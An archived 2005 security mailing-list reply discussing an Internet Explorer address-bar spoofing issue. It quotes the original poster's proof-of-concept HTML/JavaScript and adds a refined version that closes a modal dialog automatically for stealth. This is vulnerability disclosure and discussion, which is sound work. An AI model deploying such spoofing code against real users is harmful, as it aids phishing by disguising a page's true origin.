Re: Internet Explorer URL obfuscation.

From: Berend-Jan Wever (skylined_at_edup.tudelft.nl)
Date: 01/23/05

  • Next message: Marcus Meissner: "SUSE Security Announcement: Realplayer 8 (SUSE-SA:2005:004)"
    To: "Stewart, Graeme" <gstewart@firstrepublic.com>, <bugtraq@securityfocus.com>, <full-disclosure@lists.netsys.com>
    Date: Sun, 23 Jan 2005 06:38:38 +0100
    
    

    Migitating factors:
    - You can only show a page you do not control as coming from a location you control, might as well use frames for that.
    - Links on the targetted site still work as normal.
    - Doesn't seem to allow cross-site scripting, which would make it a vulnerability.
    - An alert window might attract more attention then you'd want: IE seems to forget to update the address-bar as soon as any other window is opened at the same time, be it a javascript error message, an alert(), a confirm() or a showModalDialog()... The cool thing about ModalDialogs is that you can close them automatically:
    <html>
        <script language="Javascript">
            function page_load(){
                document.location.href='http://www.google.com';
                window.showModalDialog('javascript:setTimeout("window.close()", 10);');
            }
        </script>
        <body>
            <form>
                <input type="submit" value="Update" name="patch_update" onClick="page_load()">
            </form>
        </body>
    </html>
    Above code should do the same as Graeme Stewart's origional code but the window needed to obfuscate the URL is closed as soon as the targetted site is opened... use showModalDialog()-parameters to make this even more stealhy.

    Anyway, doesn't look like a big problem so far, but it might prove to have more potential: I did manage to crash IE with a NULL pointer once or twice while testing, unfortunately I wasn't able to reproduce that :(

    Cheers,

    Berend-Jan Wever <skylined@edup.tudelft.nl>
    TTP: http://www.edup.tudelft.nl/~bjwever
    MSN: skylined@edup.tudelft.nl
    IRC: SkyLined in #SkyLined on EFNET
    PGP: key ID 0x48479882

    ----- Original Message -----
    From: "Stewart, Graeme" <gstewart@firstrepublic.com>
    To: <bugtraq@securityfocus.com>
    Sent: Saturday, January 22, 2005 02:08
    Subject: Internet Explorer URL obfuscation.

    > All,
    >
    > The following (very simple!) code calls a URL in the browser window but
    > fails to update the address bar in IE. Looks like the form submission is
    > suspended with the interrupt of the 'window.alert' call. IE then fails
    > to correctly handle.
    >
    > Might be helpful in facilitating phishing style attacks. Assuming you
    > can spoof the original location.
    >
    > I'm running windows XP SP2 with all the latest patches. It works
    > correctly in FireFox (i.e. the address bar does update).
    >
    > Not sure if this really is a vulnerability, but would appreciate any
    > thoughts.
    >
    > Thanks,
    >
    > Graeme Stewart
    >
    > --snip---
    >
    > <html>
    > <script language="Javascript">
    > function page_load(){
    > document.location.href='http://www.google.com/';
    > window.alert('Incorrect URL');
    > }
    > </script>
    > <body>
    > <form>
    > <input type="submit" value="Update" name="patch_update"
    > onClick="page_load()">
    > </form>
    > </body>
    > </html>
    >
    > --snip---
    >
    > P.S My apologies if this is a known vuln. I did do some searching (i.e.
    > Google!, but nothing similar came up).
    >
    >
    > -----------------------------------------------------------------------
    > The information transmitted is intended only for the person or entity
    > to which it is addressed and may contain confidential and/or privileged
    > material. Any review, retransmission, dissemination or other use of, or
    > taking of any action in reliance upon, this information by persons or
    > entities other than the intended recipient is prohibited. If you
    > received this in error, please contact the sender and delete the
    > material from any computer.
    >
    >


  • Next message: Marcus Meissner: "SUSE Security Announcement: Realplayer 8 (SUSE-SA:2005:004)"

    Relevant Pages

    • [Full-Disclosure] Re: Internet Explorer URL obfuscation.
      ... You can only show a page you do not control as coming from a location you control, might as well use frames for that. ... Above code should do the same as Graeme Stewart's origional code but the window needed to obfuscate the URL is closed as soon as the targetted site is opened... ... > correctly in FireFox (i.e. the address bar does update). ... > entities other than the intended recipient is prohibited. ...
      (Full-Disclosure)
    • Re: Internet Explorer URL obfuscation.
      ... You can only show a page you do not control as coming from a location you control, might as well use frames for that. ... Above code should do the same as Graeme Stewart's origional code but the window needed to obfuscate the URL is closed as soon as the targetted site is opened... ... > correctly in FireFox (i.e. the address bar does update). ... > entities other than the intended recipient is prohibited. ...
      (Full-Disclosure)
    • RE: Windows XP Form diagram - Label control - Caption Icon
      ... I also cannot glue another icon control than the minimize .. ... type a title for the application window. ... To add an icon to the left of the text in the title bar, ...
      (microsoft.public.visio.general)
    • Re: New toolbar/dropdpwn in IE7
      ... I've discovered it's the address bar which according to <url: ... the features of a newly opened window was a bad design because no such ... absolute control was possible (in any browser). ...
      (comp.lang.javascript)